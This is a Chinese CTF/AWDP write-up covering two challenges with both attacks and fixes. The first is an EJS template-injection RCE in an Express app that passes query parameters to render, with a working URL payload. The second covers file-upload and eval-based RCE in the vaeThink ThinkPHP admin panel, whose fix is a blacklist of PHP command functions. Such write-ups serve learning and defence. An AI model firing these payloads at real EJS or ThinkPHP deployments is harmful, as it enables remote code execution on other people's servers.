前言
我连线下赛都没进,但是后辈们进了,于是叫他们带了附件回来,因为有AWDP还是值得一看的
运维
这个不急着复现
AWDP部分
aka_ssti
ejs ssti
Attack
app.js
var express = require('express');
var app = express();
var mongoose =require('mongoose');
var path = require('path');
var bodyParser = require('body-parser');
var fs = require('fs');
var lodash = require('lodash');
var session = require('express-session');
var randomize = require('randomatic');
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
app.use(express.static(path.join(__dirname, 'static')));
app.get('/', (req, res, next) => {
res.redirect('/home?page=Home');
});
app.all('/home', function(req, res) {
res.render('home', req.query);
});
app.all('/about', function(req, res) {
res.render('about', req.query);
});
// catch 404 and forward to error handler
app.use(function(req, res, next) {
var err = new Error('Not Found');
err.status = 404;
next(err);
});
// error handler
app.use(function(err, req, res, next) {
// render the error page
res.status(err.status || 500);
res.render('error', {status:err.status, message:err.message});
});
var server = app.listen(80, '0.0.0.0', function () {
var host = server.address().address;
var port = server.address().port;
console.log("listening on http://%s:%s", host, port);
});
package.json,这里只取关键的packages
"packages": {
"": {
"name": "src",
"version": "1.0.0",
"license": "ISC",
"dependencies": {
"body-parser": "^1.19.0",
"ejs": "^3.1.8",
"express": "^4.17.1",
"express-session": "^1.17.2",
"fs": "^0.0.1-security",
"lodash": "^4.17.4",
"mongoose": "^5.13.6",
"randomatic": "^3.1.1"
}
}
现在开始审计,这里看似require了一堆库,实际有用到的只有express、path和ejs
app.set('view engine', 'ejs');
设置了渲染引擎为ejs
然后就是三个路由
app.get('/', (req, res, next) => {
res.redirect('/home?page=Home');
});
app.all('/home', function(req, res) {
res.render('home', req.query);
});
app.all('/about', function(req, res) {
res.render('about', req.query);
});
/home 和 /about 都是直接渲染模板,除此之外没有多余的操作了
结合题目名字,应该就是在ssti上面下文章
CVE-2022-29078及其延伸出的issue(Failed)
搜一下ejs的ssti,有CVE-2022-29078,但是ejs版本 ≤ 3.1.6,我们的ejs版本是3.1.8,明显用不了
再找一找有https://github.com/mde/ejs/issues/720,版本限制ejs ≤ 3.1.9,可以尝试利用
观察poc:
page.ejs
%%1");process.mainModule.require('child_process').execSync('calc');//
http://127.0.0.1:3000/page?settings[view%20options][closeDelimiter]=1")%3bprocess.mainModule.require('child_process').execSync('calc')%3b//
而我们的ejs文件如下
直接打payload发现不可行,看来需要ejs文件那边对应上
总之先调试一下poc看看原因
发现我们需要进入这里的d + d + c
分支才能执行命令,但是这里的line值为 html注释段到title标签前
<!--A Design by W3layouts\nAuthor: W3layout\nAuthor URL: http://w3layouts.com\nLicense: Creative Commons Attribution 3.0 Unported\nLicense URL: http://creativecommons.org/licenses/by/3.0/\n-->\n<!DOCTYPE HTML>\n<html>\n<head>\n<title>
其中c对应的是settings[view options][closeDelimiter]
,而d对应的是settings[view options][delimiter]
var d = this.opts.delimiter;
var o = this.opts.openDelimiter;
var c = this.opts.closeDelimiter;
这几个opts的参数代表着ejs渲染的标签,默认的渲染是<%
,即对应这里的o
和d
,那么>
对应的就是c
,这样一来关系就很明确了
这个issue的原理就是通过修改渲染标签的方式来注入rce代码,但是这里的话我们可控的只有被渲染的变量 page ,对应的ejs模板里又没有别的利用点,所以不可用
寻找其它options对象实现rce
在前面的研究过程中,发现我们可以传入某些特定的参数直接对一些配置的属性值进行修改,如settings[view options][outputFunctionName]
和settings[view options][closeDelimiter]
这样子的
继续一路找找相关的知识点,发现hxpCTF2022有个题也是类似这样的,那题有多种解法,其中就有适合我们的
参考:http://blog.z3ratu1.top/hxpCTF2022wp.html
在前面研究CVE-2022-29078的时候,发现在ejs3.1.6后,几个来自opts的值,比如outputFunctionName
,localsName
,destructuredLocals
都被过了一个_JS_IDENTIFIER.test()
进行正则判断,控制了也不能用
我们回去看一下那个cve实现rce的点,在ejs.js
的renderFile函数中:
此处的opts后续会作为后续渲染的opts,而data即为render时传入的query
对象,如前面cve的payload一样,data中settings属性的view options
属性会被完整的传递给opts,那么我们需要控制的就是这里render函数的options对象
options.client = opts.client || false;
options.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML;
options.compileDebug = opts.compileDebug !== false;
options.debug = !!opts.debug;
options.filename = opts.filename;
options.openDelimiter = opts.openDelimiter || exports.openDelimiter || _DEFAULT_OPEN_DELIMITER;
options.closeDelimiter = opts.closeDelimiter || exports.closeDelimiter || _DEFAULT_CLOSE_DELIMITER;
options.delimiter = opts.delimiter || exports.delimiter || _DEFAULT_DELIMITER;
options.strict = opts.strict || false;
options.context = opts.context;
options.cache = opts.cache || false;
options.rmWhitespace = opts.rmWhitespace;
options.root = opts.root;
options.includer = opts.includer;
options.outputFunctionName = opts.outputFunctionName;
options.localsName = opts.localsName || exports.localsName || _DEFAULT_LOCALS_NAME;
options.views = opts.views;
options.async = opts.async;
options.destructuredLocals = opts.destructuredLocals;
options.legacyInclude = typeof opts.legacyInclude != 'undefined' ? !!opts.legacyInclude : true;
下断点测一下options的几个对象,发现这里escapeFunction
被拼进了代码没被过滤
(这个escapeFn的定义是var escapeFn = opts.escapeFunction;
,作用呢就是用户输入的html字符进行转义)
那么,控制这个地方就可以做到rce了,由于是对用户输入做转义,所以是对输入内容进行处理后返回,这个函数的返回值就直接是渲染上去的回显,也就是可以直接回显
payload:
/home?page=a&settings[view%20options][client]=1&settings[view%20options][escape]={}.constructor.constructor("return%20process.mainModule.require('child_process').execSync('calc')")
Fix
写中间件waf,直接白名单过滤
function wafFilter(req, res, next) {
const filteredParams = {};
const allowedParams = ['page']; // 允许的参数名列表
for (const param in req.query) {
if (allowedParams.includes(param)) {
filteredParams[param] = req.query[param];
}
}
req.filteredParams = filteredParams;
next();
}
app.use('/home', wafFilter);
app.get('/home', function(req, res) {
res.render('home', req.filteredParams);
});
app.use('/about', wafFilter);
app.get('/about', function(req, res) {
res.render('about', req.filteredParams);
});
bocaitar
vaeThink
最近太忙了,没空复现
给了个vaeThink框架,是tp5,感觉有说法
本地起一下环境,php用7.3.4,参考官方文档:http://tplay.pengyichen.cn/doc/
网站根目录设在html文件夹下,然后把 data 文件夹下的 install.lock 删掉,这样就能安装了
注意这里还要修改一下.htaccess(明明是题目的附件却少这少那,存疑)
<IfModule mod_rewrite.c>
Options +FollowSymlinks -Multiviews
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php [L,E=PATH_INFO:$1]
</IfModule>
后面又弄了个tp报错界面出来得知是tp5.0.24,但是翻了下源码没找到能利用的反序列化入口
然后就能开始挖了
Attack——后台文件上传
参考:https://www.freebuf.com/vuls/203562.html
登录后台之后,发现
一样是前端校验后缀
于是成功上传
但是本地起的环境发现一个很逆天的地方,上传的public文件夹位置在上级目录导致根本访问不到,这源码疑似有点问题。。当然如果是故意的当我没说(不过没拿到管理员账密应该也打不了)
Fix
漏洞点在这里
然后下断点调试一下
调试时注意到走到这一步的时候上传的文件仍然是临时文件
但是接下来就会变成保存的文件名
那么过滤的方法就有了,只需要在这一步检测saveName
的后缀即可
因为saveName
是一个 protected 变量,所以需要用getSaveName
方法获取它的值,然后用pathinfo
获取后缀名
$pathInfo = pathinfo($info->getSaveName());
最终的修改结果为
Attack——后台RCE
搜一下eval
,在 listenrain/vae/lib/Auth.php 的getAuthList
方法里有个疑似可以利用的点
/**
* 获得权限列表
* @param integer $uid 用户id
* @param integer $type
* @return array
*/
protected function getAuthList($uid, $type)
{
static $_authList = []; //保存用户验证通过的权限列表
$t = implode(',', (array)$type);
if (isset($_authList[$uid . $t])) {
return $_authList[$uid . $t];
}
if (2 == $this->config['auth_type'] && Session::has('_auth_list_' . $uid . $t)) {
return Session::get('_auth_list_' . $uid . $t);
}
//读取用户所属用户组
$groups = $this->getGroups($uid);
$ids = []; //保存用户所属用户组设置的所有权限规则id
foreach ($groups as $g) {
$ids = array_merge($ids, explode(',', trim($g['rules'], ',')));
}
$ids = array_unique($ids);
if (empty($ids)) {
$_authList[$uid . $t] = [];
return [];
}
$map = [
'id' => ['in', $ids],
'type' => $type
];
//读取用户组所有权限规则
$rules = Db::name($this->config['auth_rule'])->where($map)->field('condition,name')->select();
//循环规则,判断结果。
$authList = []; //
foreach ($rules as $rule) {
if (!empty($rule['condition'])) {
//根据condition进行验证
$user = $this->getUserInfo($uid); //获取用户信息,一维数组
$command = preg_replace('/\{(\w*?)\}/', '$user[\'\\1\']', $rule['condition']);
@(eval('$condition=(' . $command . ');'));
if ($condition) {
$authList[] = strtolower($rule['name']);
}
} else {
//只要存在就记录
$authList[] = strtolower($rule['name']);
}
}
$_authList[$uid . $t] = $authList;
if (2 == $this->config['auth_type']) {
//规则列表结果保存到session
Session::set('_auth_list_' . $uid . $t, $authList);
}
return array_unique($authList);
}
稍微跟进一下变量,可以发现这里的$command
是由id查询得到的
现在往前跟进方法,在check
函数中调用了getAuthList
向前跟进到AdminCheckAuth::run
到这里可以确定在管理员访问鉴权功能模块中会触发此流程
下断点动调
分析后可以确定,数据库中用户拥有的权限对应的规则的condition
字段将会作为eval()
的参数被执行
那就和参考文章一样的方法打进去即可
Fix
直接对$command
再套一层检测即可
$command = preg_replace('/\{(\w*?)\}/', '$user[\'\\1\']', $rule['condition']);
$blacklist = array('system', 'exec', 'shell_exec', 'passthru', 'eval');
foreach ($blacklist as $item) {
if (stripos($command, $item) !== false) {
die();
}
}
@(eval('$condition=(' . $command . ');'));